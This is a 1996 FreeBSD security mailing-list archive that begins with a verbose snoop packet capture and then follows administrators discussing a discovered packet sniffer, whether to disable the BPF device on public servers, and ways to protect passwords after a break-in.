(#9) XID=2205151569 Success keep3.cs.ucdavis.edu -> kanab.cs.ucdavis.edu NFS R GETATTR2 OK ________________________________ keep3.cs.ucdavis.edu -> lhotse.cs.ucdavis.edu ETHER Type=0800 (IP), size = 98 bytes keep3.cs.ucdavis.edu -> lhotse.cs.ucdavis.edu IP D=128.120.56.217 S=128.120.56.3 LEN=84, ID=14040 keep3.cs.ucdavis.edu -> lhotse.cs.ucdavis.edu UDP D=111 S=743 LEN=64 keep3.cs.ucdavis.edu -> lhotse.cs.ucdavis.edu RPC C XID=849579017 PROG=100000 (PMAP) VERS=2 PROC=3 keep3.cs.ucdavis.edu -> lhotse.cs.ucdavis.edu PORTMAP C GETPORT prog=100024 (STATMON2) vers=1 proto=TCP ________________________________ ? -> (multicast) ETHER Type=002D (LLC/802.3), size = 68 bytes ________________________________ bash# bash# exit script done on Wed Dec 11 00:40:17 1996 --m0nHx4uhPaACIWKo Content-Description: snoop -v Content-Disposition: attachment; filename=v Script started on Wed Dec 11 00:38:23 1996 bash# snoop -v Using device /dev/le (promiscuous mode) ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 1 arrived at 0:38:26.67 ETHER: Packet size = 60 bytes ETHER: Destination = 8:0:20:7b:25:a3, Sun ETHER: Source = 0:0:c0:0:82:8, Western Digital ETHER: Ethertype = 0800 (IP) ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x10 IP: xxx. .... = 0 (precedence) IP: ...1 .... = low delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 40 bytes IP: Identification = 15960 IP: Flags = 0x4 IP: .1.. .... = do not fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 64 seconds/hops IP: Protocol = 6 (TCP) IP: Header checksum = 8a91 IP: Source address = 128.120.56.38, nuxi.cs.ucdavis.edu IP: Destination address = 128.120.56.192, kongur.cs.ucdavis.edu IP: No options IP: TCP: ----- TCP Header ----- TCP: TCP: Source port = 1023 TCP: Destination port = 513 (RLOGIN) TCP: Sequence number = 1295258215 TCP: Acknowledgement number = 1393851764 TCP: Data offset = 20 bytes TCP: Flags = 0x10 TCP: ..0. .... = No urgent pointer TCP: ...1 .... = Acknowledgement TCP: .... 0... = No push TCP: .... .0.. = No reset TCP: .... ..0. = No Syn TCP: .... ...0 = No Fin TCP: Window = 17520 TCP: Checksum = 0xc369 TCP: Urgent pointer = 0 TCP: No options TCP: RLOGIN: ----- RLOGIN: ----- RLOGIN: RLOGIN: "" RLOGIN: ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 3 arrived at 0:38:26.84 ETHER: Packet size = 60 bytes ETHER: Destination = 0:0:c0:0:82:8, Western Digital ETHER: Source = 0:0:c:4:8e:3a, Cisco ETHER: Ethertype = 0800 (IP) ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x00 IP: xxx. .... = 0 (precedence) IP: ...0 .... = normal delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 40 bytes IP: Identification = 840 IP: Flags = 0x0 IP: .0.. .... = may fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 252 seconds/hops IP: Protocol = 6 (TCP) IP: Header checksum = 84f8 IP: Source address = 128.120.253.120, request-e.ucdavis.edu IP: Destination address = 128.120.56.38, nuxi.cs.ucdavis.edu IP: No options IP: TCP: ----- TCP Header ----- TCP: TCP: Source port = 63512 TCP: Destination port = 23 (TELNET) TCP: Sequence number = 2501769266 TCP: Acknowledgement number = 1259957050 TCP: Data offset = 20 bytes TCP: Flags = 0x10 TCP: ..0. .... = No urgent pointer TCP: ...1 .... = Acknowledgement TCP: .... 0... = No push TCP: .... .0.. = No reset TCP: .... ..0. = No Syn TCP: .... ...0 = No Fin TCP: Window = 1950 TCP: Checksum = 0x35d3 TCP: Urgent pointer = 0 TCP: No options TCP: TELNET: ----- TELNET: ----- TELNET: TELNET: "" TELNET: ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 7 arrived at 0:38:27.26 ETHER: Packet size = 60 bytes ETHER: Destination = ff:ff:ff:ff:ff:ff, (broadcast) ETHER: Source = 0:0:c:4:8e:3a, Cisco ETHER: Ethertype = 0806 (ARP) ETHER: ARP: ----- ARP/RARP Frame ----- ARP: ARP: Hardware type = 1 ARP: Protocol type = 0800 (IP) ARP: Length of hardware address = 6 bytes ARP: Length of protocol address = 4 bytes ARP: Opcode 1 (ARP Request) ARP: Sender's hardware address = 0:0:c:4:8e:3a ARP: Sender's protocol address = 128.120.66.254, 128.120.66.254 ARP: Target hardware address = ? ARP: Target protocol address = 128.120.56.119, rags.cs.ucdavis.edu ARP: ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 8 arrived at 0:38:27.32 ETHER: Packet size = 154 bytes ETHER: Destination = 8:0:20:9:23:fb, Sun ETHER: Source = 8:0:20:7b:25:a3, Sun ETHER: Ethertype = 0800 (IP) ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x00 IP: xxx. .... = 0 (precedence) IP: ...0 .... = normal delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 140 bytes IP: Identification = 36159 IP: Flags = 0x4 IP: .1.. .... = do not fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 255 seconds/hops IP: Protocol = 17 (UDP) IP: Header checksum = 7bb4 IP: Source address = 128.120.56.192, kongur.cs.ucdavis.edu IP: Destination address = 128.120.56.188, toadflax.cs.ucdavis.edu IP: No options IP: UDP: ----- UDP Header ----- UDP: UDP: Source port = 1022 UDP: Destination port = 2049 (Sun RPC) UDP: Length = 120 UDP: Checksum = 22F3 UDP: RPC: ----- SUN RPC Header ----- RPC: RPC: Transaction id = 1228459687 RPC: Type = 0 (Call) RPC: RPC version = 2 RPC: Program = 100003 (NFS), version = 2, procedure = 1 RPC: Credentials: Flavor = 1 (Unix), len = 40 bytes RPC: Time = 11-Dec-96 08:38:26 RPC: Hostname = kongur RPC: Uid = 1765, Gid = 10 RPC: Groups = 10 1 14 RPC: Verifier : Flavor = 0 (None), len = 0 bytes RPC: NFS: ----- Sun NFS ----- NFS: NFS: Proc = 1 (Get file attributes) NFS: File handle = 0000030000000001000A000000000002 NFS: 6B24F4BF000A0000000000026B24F4BF NFS: ^C bash# exit script done on Wed Dec 11 00:39:22 1996 --m0nHx4uhPaACIWKo-- From owner-freebsd-security Wed Dec 11 01:28:17 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA28665 for security-outgoing; Wed, 11 Dec 1996 01:28:17 -0800 (PST) Received: from silver.sms.fi (root@silver.sms.fi [194.111.122.17]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA28660 for ; Wed, 11 Dec 1996 01:28:13 -0800 (PST) Received: (from pete@localhost) by silver.sms.fi (8.7.6/8.7.3) id LAA02201; Wed, 11 Dec 1996 11:27:50 +0200 (EET) Date: Wed, 11 Dec 1996 11:27:50 +0200 (EET) Message-Id: <199612110927.LAA02201@silver.sms.fi> From: Petri Helenius To: Michael Smith Cc: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110745.SAA23084@genesis.atrad.adelaide.edu.au> References: <199612110716.JAA01999@silver.sms.fi> <199612110745.SAA23084@genesis.atrad.adelaide.edu.au> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Michael Smith writes: > Petri Helenius stands accused of saying: > > I think one consideration here is that to run some of the desired > > functionality, like dhcpd, you need to have them. > > Not on a _shell_server_ you don't. If you're in the business of offering > shell access (which is fortunately becoming rarer), your shell machines > need to be _watertight_, which normally involves removing just about > everything. > We're in violent agreement here. On both the tightness and the fact that it's becoming rarer. Pete From owner-freebsd-security Wed Dec 11 02:10:00 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id CAA01454 for security-outgoing; Wed, 11 Dec 1996 02:10:00 -0800 (PST) Received: from silmu.cc.jyu.fi (root@silmu.cc.jyu.fi [130.234.40.17]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id CAA01441 for ; Wed, 11 Dec 1996 02:09:57 -0800 (PST) Received: from localhost (kallio@localhost [127.0.0.1]) by silmu.cc.jyu.fi (8.8.2.1SKa/8.6.12) with SMTP id MAA12387; Wed, 11 Dec 1996 12:08:34 +0200 (EET) Date: Wed, 11 Dec 1996 12:08:34 +0200 (EET) From: Seppo Kallio To: Petri Helenius cc: Michael Smith , freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110927.LAA02201@silver.sms.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We have some shell users, look at http://www/~kallio/atk/loadcurves/gif/uall-long.jpg There is the total number of simultaneous users at 14 o'clock daily at nodes silmu.cc.jyu.fi, itu.cc.jyu.fi, kanto.cc.jyu.fi, tukki.cc.jyu.fi, tarzan.math.jyu.fi and voimax.voima.jkl.fi itu, silmu run FreeBSD 2.1.5, kanto, tukki run Solaris, voimax run Linux RedHat 3.0.3 (voimax has heavy load but few shell users) On x-axis there is day number (day 0 = 1.1.1996). At day 300 we had about 350 users at 14 o'clock. day 300 is somewhere in October 1996. Daily user count of FreeBSD nodes is in http://www/~kallio/atk/loadcurves/gif/users2.jpg Page http://www/~kallio/atk/loadcurves/load.html has pointers to all gifs I am collecting (base is rsh host uptime + some C code + gnuplot). There is some differeces between OSes in user count number of uptime Seppo On Wed, 11 Dec 1996, Petri Helenius wrote: > We're in violent agreement here. On both the tightness and the fact > that it's becoming rarer. > > Pete From owner-freebsd-security Wed Dec 11 06:06:27 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA10973 for security-outgoing; Wed, 11 Dec 1996 06:06:27 -0800 (PST) Received: from biff.ibm.net.il (root@biff.ibm.net.il [192.115.72.164]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id GAA10967 for ; Wed, 11 Dec 1996 06:06:21 -0800 (PST) Received: from tal1 (tal1.taldor.co.il [192.116.64.27]) by biff.ibm.net.il (8.8.4/8.8.2) with SMTP id PAA20484 for ; Wed, 11 Dec 1996 15:58:56 +0200 Received: by tal1 id AA225112 (5.67/UK-2.1); Wed, 11 Dec 96 16:05:47 +0200 From: Nir Baroz Message-Id: <225112.9612111405@tal1> X-Organization: Encore Development at Taldor Computer Systems X-Address: 30 Ben-Gurion Road, Ramat-Gan, 52573, Israel X-Phone: +972 3 6102268 Fax: +972 3 6102229 Subject: Re: security-digest V1 #48 To: security@freefall.freebsd.org Date: Wed, 11 Dec 1996 16:05:47 +0200 (IST) In-Reply-To: <199612110635.WAA21272@freefall.freebsd.org> from "owner-security-digest@freefall.freebsd.org" at Dec 10, 96 10:35:04 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk unsubscribe From owner-freebsd-security Wed Dec 11 07:41:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id HAA17078 for security-outgoing; Wed, 11 Dec 1996 07:41:43 -0800 (PST) Received: from cwsys.cwent.com (0@cschuber.net.gov.bc.ca [142.31.240.113]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id HAA17073 for ; Wed, 11 Dec 1996 07:41:36 -0800 (PST) Received: from cwsys (1000@localhost [127.0.0.1]) by cwsys.cwent.com (8.8.4/8.6.10) with ESMTP id HAA03824; Wed, 11 Dec 1996 07:40:45 -0800 (PST) Message-Id: <199612111540.HAA03824@cwsys.cwent.com> Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: Xmh To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-reply-to: Your message of "Tue, 10 Dec 1996 21:58:09 EST." Date: Wed, 11 Dec 1996 07:40:38 -0800 From: Cy Schubert Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? Obviously, had I not compiled bpf > into the shell and Web server kernels, this particular incident would > never have happened. However, I like to have access to tcpdump to > check for things like ping floods, and trafshow to see where bytes are > being sent. You're better of putting these tools and enabling the kernel for them on another machine on the network. Regards, Phone: (604)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Wed Dec 11 08:00:30 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id IAA18187 for security-outgoing; Wed, 11 Dec 1996 08:00:30 -0800 (PST) Received: from cwsys.cwent.com (0@cschuber.net.gov.bc.ca [142.31.240.113]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id IAA18171 for ; Wed, 11 Dec 1996 08:00:23 -0800 (PST) Received: from cwsys (1000@localhost [127.0.0.1]) by cwsys.cwent.com (8.8.4/8.6.10) with ESMTP id HAA04031; Wed, 11 Dec 1996 07:50:23 -0800 (PST) Message-Id: <199612111550.HAA04031@cwsys.cwent.com> Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: Xmh To: Brian Tao cc: Dev Chanchani , FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-reply-to: Your message of "Tue, 10 Dec 1996 21:05:53 EST." Date: Wed, 11 Dec 1996 07:50:20 -0800 From: Cy Schubert Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Tue, 10 Dec 1996, Dev Chanchani wrote: > > Expire all the passwords and re-install all the system binaries and > > hopefully he will go away. > > All staff have been notified to cycle their passwords. What to do > with the user base is an entirely different matter... Don't be too sure that this will secure your passwords. I've seen /bin/login replaced to collect passwords and either store them or transmit them upon receipt. You'd better verify that login, su, ftpd, and anything else that processes passwords is intact. A couple of ways to avoid this is to use the "r" commands, but this can be a big security hole as well. Alternatively you could install Kerberos or ssh. You could distribute a set of kerberos binaries for windoze to your clients. All they would need to do is a kinit to get a 10 hour (for example) ticket. They could login to your system for 10 hours without reentering the password. This will only protect telnet since I haven't seen a free version of Kerberos for windoze that supported anything but telnet. If you want to compile Kerberos 5 Beta 7 on your system, I do have some patches to allow it to compile and run on FreeBSD. Regards, Phone: (604)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Wed Dec 11 10:36:06 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id KAA27780 for security-outgoing; Wed, 11 Dec 1996 10:36:06 -0800 (PST) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id KAA27772 for ; Wed, 11 Dec 1996 10:36:04 -0800 (PST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id LAA13289; Wed, 11 Dec 1996 11:35:55 -0700 (MST) Date: Wed, 11 Dec 1996 11:35:55 -0700 (MST) Message-Id: <199612111835.LAA13289@rocky.mt.sri.com> From: Nate Williams To: Brian Tao Cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: References: <9612101452.AA21942@halloran-eldar.lcs.mit.edu> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? I would *certainly* disable BPF on a public server. You can always use another box to look at packets that isn't publically available. Nate From owner-freebsd-security Wed Dec 11 11:50:15 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA03740 for security-outgoing; Wed, 11 Dec 1996 11:50:15 -0800 (PST) Received: from ki1.chemie.fu-berlin.de (ki1.Chemie.FU-Berlin.DE [160.45.24.21]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id LAA03682 for ; Wed, 11 Dec 1996 11:49:35 -0800 (PST) Received: by ki1.chemie.fu-berlin.de (Smail3.1.28.1) from mail.hanse.de (193.174.9.9) with smtp id ; Wed, 11 Dec 96 18:10 MET Received: from wavehh.UUCP by mail.hanse.de with UUCP for freebsd-security@freebsd.org id ; Wed, 11 Dec 96 18:10 MET Received: by wavehh.hanse.de (4.1/SMI-4.1) id AA16058; Wed, 11 Dec 96 14:29:42 +0100 Date: Wed, 11 Dec 96 14:29:42 +0100 From: cracauer@wavehh.hanse.de (Martin Cracauer) Message-Id: <9612111329.AA16058@wavehh.hanse.de> To: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) References: <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> <199612110432.UAA10905@root.com> Reply-To: cracauer@wavehh.hanse.de Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>> What are people's feelings on enabling devices like bpf or snp >>> in the kernel on a public server? Obviously, had I not compiled bpf >>> into the shell and Web server kernels, this particular incident would >>> never have happened. However, I like to have access to tcpdump to >>> check for things like ping floods, and trafshow to see where bytes are >>> being sent. >> >>Evil evil evil. Definitely never on a public server; bpf lets you do >>lots more than just snoop, it makes it possible (easier) to spoof as >>well. As far as I understand, BPF in the kernel is only a risk when someone gets root rights, not? In that case, if you don't have BPF in the kernel the person in question could also ftp a new kernel and wait for the next reboot. What am I overlooking? What makes BPF dangerous as long as noone has root access to the machine? And in what way can BPF make spoofing easier? Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin_Cracauer@wavehh.hanse.de http://cracauer.cons.org Fax.: +4940 5228536 "As far as I'm concerned, if something is so complicated that you can't ex- plain it in 10 seconds, then it's probably not worth knowing anyway"- Calvin From owner-freebsd-security Wed Dec 11 12:16:52 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA06016 for security-outgoing; Wed, 11 Dec 1996 12:16:52 -0800 (PST) Received: from redmare.com (brian@lin-pm2-016.inetnebr.com [206.222.209.16]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA06010 for ; Wed, 11 Dec 1996 12:16:49 -0800 (PST) Received: from localhost (brian@localhost) by redmare.com (8.7.4/8.7.3) with SMTP id OAA00457; Wed, 11 Dec 1996 14:12:05 -0600 (CST) X-Authentication-Warning: redmare.com: brian owned process doing -bs Date: Wed, 11 Dec 1996 14:12:04 -0600 (CST) From: Brian Mitchell X-Sender: brian@redmare.com To: Martin Cracauer cc: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <9612111329.AA16058@wavehh.hanse.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 11 Dec 1996, Martin Cracauer wrote: > >>> What are people's feelings on enabling devices like bpf or snp > >>> in the kernel on a public server? Obviously, had I not compiled bpf > >>> into the shell and Web server kernels, this particular incident would > >>> never have happened. However, I like to have access to tcpdump to > >>> check for things like ping floods, and trafshow to see where bytes are > >>> being sent. > >> > >>Evil evil evil. Definitely never on a public server; bpf lets you do > >>lots more than just snoop, it makes it possible (easier) to spoof as > >>well. > > As far as I understand, BPF in the kernel is only a risk when someone > gets root rights, not? In that case, if you don't have BPF in the > kernel the person in question could also ftp a new kernel and wait for > the next reboot. > > What am I overlooking? What makes BPF dangerous as long as noone has > root access to the machine? Not having to reboot or install a new kernel makes things a WHOLE lot easier. If you notice your machines uptime has changed all of the sudden, you know something is up. The goal is to force the intruder to go through as much trouble as possible in order to sniff on your machine. The more steps he/she has to go through, the greater chance of being detected. > > And in what way can BPF make spoofing easier? BPF lets you send and recv raw packet frames. Brian Mitchell / brian@saturn.net From owner-freebsd-security Wed Dec 11 13:36:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA11230 for security-outgoing; Wed, 11 Dec 1996 13:36:43 -0800 (PST) Received: from xmission.xmission.com (softweyr@xmission.xmission.com [198.60.22.2]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA11225 for ; Wed, 11 Dec 1996 13:36:36 -0800 (PST) Received: (from softweyr@localhost) by xmission.xmission.com (8.8.4/8.7.5) id OAA15103; Wed, 11 Dec 1996 14:35:27 -0700 (MST) From: Softweyr LLC Message-Id: <199612112135.OAA15103@xmission.xmission.com> Subject: Re: Risk of having bpf0? To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 11 Dec 1996 14:35:26 -0700 (MST) Cc: security@freebsd.org In-Reply-To: <199612110634.RAA22676@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Dec 11, 96 05:04:36 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wes Peters stands accused of saying: % Better yet, get some sort of sniffer package to run on another system. % We use Ether Peek for Macintosh and Win95 at work, both seem to work % well. In addition to *not* opening up your important machines to hack % attacks, such a tool will also let you look at non-IP activity, bare % ethernet activity, and let you examine the output of a machine that % seems to be going sick in the ether adapter. Mike Smith answered: > Tcpdump does all this and lots more; the filter language is pretty powerful. > > The fact that it knows how to interpret lots of protocols and that you > can extend it (courtesy of the source and an easy internal interface) > puts it over anyuthing else I've seen yet. EtherPeek does all of those things, understands most of the common protocols run over ethernet inlcuding IP, IPX/SPX, AppleTalk, DECnet, and XNS; allows you to display packets from specified machines or protocols in different colors, will display machine names by ethernet, IP, DECnet, etc. address, all those wonderful things. EtherPeek costs money - I think it's $495. At the same time, you can put a machine containing EtherPeek on your network and nobody can hack their way into it over the network and use it against you, since it is running on MacOS or Win95. If you can lose more than $495 in an attack, it should be pretty easy to justify. We put it on laptops, which make wonderful diagnostic tools. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Wed Dec 11 14:25:04 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA14011 for security-outgoing; Wed, 11 Dec 1996 14:25:04 -0800 (PST) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id OAA13998 for ; Wed, 11 Dec 1996 14:25:00 -0800 (PST) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 0.56 #1) id E0vXx4u-0004Y6-00; Wed, 11 Dec 1996 15:24:36 -0700 To: Petri Helenius Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) Cc: Brian Tao , FREEBSD-SECURITY-L In-reply-to: Your message of "Wed, 11 Dec 1996 09:16:58 +0200." <199612110716.JAA01999@silver.sms.fi> References: <199612110716.JAA01999@silver.sms.fi> <9612101452.AA21942@halloran-eldar.lcs.mit.edu> Date: Wed, 11 Dec 1996 15:24:36 -0700 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199612110716.JAA01999@silver.sms.fi> Petri Helenius writes: : I think one consideration here is that to run some of the desired : functionality, like dhcpd, you need to have them. FWIW, rarpd also needs to have bpf enabled as well, or it doesn't work either. It would be nice if that wasn't the case, but it is :-(. Warner From owner-freebsd-security Wed Dec 11 14:33:19 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA14504 for security-outgoing; Wed, 11 Dec 1996 14:33:19 -0800 (PST) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id OAA14496 for ; Wed, 11 Dec 1996 14:33:16 -0800 (PST) Received: from irbs.irbs.com by agora.rdrop.com with smtp (Smail3.1.29.1 #17) id m0vXsGy-00093EC; Wed, 11 Dec 96 09:16 PST Received: (from jc@localhost) by irbs.irbs.com (8.8.4/8.8.4) id MAA09172; Wed, 11 Dec 1996 12:12:07 -0500 (EST) Message-ID: Date: Wed, 11 Dec 1996 12:12:06 -0500 From: jc@irbs.com (John Capo) To: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) References: <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> <199612110432.UAA10905@root.com> X-Mailer: Mutt 0.51 Mime-Version: 1.0 X-Organization: IRBS Engineering, (954) 792-9551 In-Reply-To: <199612110432.UAA10905@root.com>; from David Greenman on Dec 10, 1996 20:32:02 -0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Quoting David Greenman (dg@root.com): > > I made the mistake of putting bpf in freefall's kernel a long time ago and > forgot it was in there. Someone eventually took advantage of that and used it > to sniff passwords at Walnut Creek CDROM. This led to a serious break-in on > wcarchive. Needless to say, bpf is no longer in freefall's kernel. It was Are you saying that there is a way for a normal user to use bpf when permissions should prevent access? crw------- 1 root wheel 23, 0 Sep 13 17:34 /dev/bpf0 Or were the permissions wrong on freefall? John Capo From owner-freebsd-security Wed Dec 11 14:37:11 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA14780 for security-outgoing; Wed, 11 Dec 1996 14:37:11 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id OAA14775 for ; Wed, 11 Dec 1996 14:37:09 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Wed, 11 Dec 1996 17:37:04 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id RAA28162; Wed, 11 Dec 1996 17:33:41 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma028142; Wed Dec 11 17:33:21 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id RAA18537; Wed, 11 Dec 1996 17:30:20 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Wed, 11 Dec 1996 17:30:20 -0500 (EST) From: Brian Tao To: Nate Williams cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612111835.LAA13289@rocky.mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 11 Dec 1996, Nate Williams wrote: > > I would *certainly* disable BPF on a public server. You can always use > another box to look at packets that isn't publically available. The servers here are all on switched ports, so I can't monitor all packets on the LAN. I suppose that was one saving grace which prevented the attacker from doing more damage than he did. I think the best thing to do is disable bpf, and set up a management station on the router segment to watch the packets. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Wed Dec 11 14:39:47 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA14918 for security-outgoing; Wed, 11 Dec 1996 14:39:47 -0800 (PST) Received: from dcwi.com (dcw.dcwi.com [205.243.36.34]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA14911 for ; Wed, 11 Dec 1996 14:39:44 -0800 (PST) Received: (from tegelad@localhost) by dcwi.com (8.7.5/8.7.3) id RAA03570 for security@freebsd.org; Wed, 11 Dec 1996 17:39:41 -0500 (EST) From: "Alan D. Tegel" Message-Id: <199612112239.RAA03570@dcwi.com> Subject: Subscribe To: security@freebsd.org Date: Wed, 11 Dec 1996 17:39:41 -0500 (EST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From owner-freebsd-security Wed Dec 11 15:17:50 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id PAA17332 for security-outgoing; Wed, 11 Dec 1996 15:17:50 -0800 (PST) Received: from super-g.inch.com (super-g.com [204.178.32.161]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id PAA17324 for ; Wed, 11 Dec 1996 15:17:47 -0800 (PST) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.4/8.6.9) with SMTP id SAA12051; Wed, 11 Dec 1996 18:21:25 -0500 (EST) Date: Wed, 11 Dec 1996 18:21:24 -0500 (EST) From: spork X-Sender: spork@super-g.inch.com To: Brian Tao cc: Nate Williams , FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Another thing to note is that some switched hubs support a nice feature called "port mirroring" that lets you (depending on $$ paid for switch) mirror all traffic on all (or selected) ports to an extra port where you plug in your monitoring station and sniff away... Charles On Wed, 11 